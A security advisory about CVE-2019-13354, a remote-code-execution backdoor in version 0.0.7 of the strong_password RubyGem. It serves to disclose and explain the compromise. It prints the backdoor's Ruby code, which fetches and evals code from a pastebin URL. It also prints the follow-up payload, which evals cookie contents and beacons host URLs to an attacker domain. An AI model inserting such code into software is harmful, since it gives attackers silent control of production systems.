ASA-2019-00408 – RubyGems strong_password: Remote Code Execution backdoor


Allele Security Alert

ASA-2019-00408

Identifier(s)

ASA-2019-00408, CVE-2019-13354

Title

Remote Code Execution backdoor

Vendor(s)

Brian McManus

Product(s)

RubyGems strong_password

Affected version(s)

RubyGems strong_password version 0.0.7

Fixed version(s)

RubyGems strong_password version 0.0.8

Proof of concept

Unknown

Description

There’s a remote code execution backdoor in strong_password gem version 0.0.7 as distributed on RubyGems.org.

Technical details

Comparing the contents of the strong_password gem version 0.0.7 with the latest copy in GitHub. At the end of lib/strong_password/strength_checker.rb version 0.0.7 there was the following:

1 def _!;begin;yield;rescue Exception;end;end
2 _!{Thread.new{loop{_!{sleep
3 rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
4 Rails.env[0]=="p"}

Prettified version of the diff:

1 def _!;
2     begin;
3         yield;
4     rescue Exception;
5     end;
6     end
7
8 _!{
9     Thread.new {
10        loop {
11            _!{
12                sleep rand * 3333;
13                eval(
14                    Net::HTTP.get(
15                    URI('https://pastebin.com/raw/xa456PFt')
16                )
17                )
18            }
19        }
20    } if Rails.env[0] == "p"
21 }

In a loop within a new thread, after waiting for a random number of seconds up to about an hour, it fetches and runs the code stored in a pastebin.com, only if running in production, with an empty exception handling that ignores any error it may raise.

The content of the pastebin on June 28th at 8 PM UTC:

1 _! {
2     unless defined?(Z1)
3         Rack::Sendfile.prepend Module.new{define_method(:call){|e|
4         _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
5         super(e)}}
6         Z1 = "(:"
7 end
8 }
9
10 _! {
11     Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

If it didn’t run before (checking for the existence of the Z1 dummy constant) it injects a middleware that eval‘s cookies named with an ___id suffix, only in production, all surrounded by the empty exception handler _! function that’s defined in the hijacked gem, opening the door to silently executing remote code in production at the attacker’s will.

It also sends a request to a controlled domain with an HTTP header informing the infected host URLs. It depends on the Faraday gem being loaded for the notification to work (which the oauth2 and stripe gems, for example, include).

Credits

Tute Costa

Reference(s)

strong_password v0.0.7 rubygem hijacked
https://withatwist.dev/strong-password-rubygem-hijacked.html

strong_password | RubyGems.org | your community gem host
https://rubygems.org/gems/strong_password/versions/0.0.8

CVE-2019-13354
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13354

CVE-2019-13354
https://nvd.nist.gov/vuln/detail/CVE-2019-13354

If there is any error in this alert or you wish a comprehensive analysis, let us know.

Last modified: July 10, 2019

We are not responsible for any data loss, device corruption or any other type of issue due to the use of any information mentioned in our security alerts.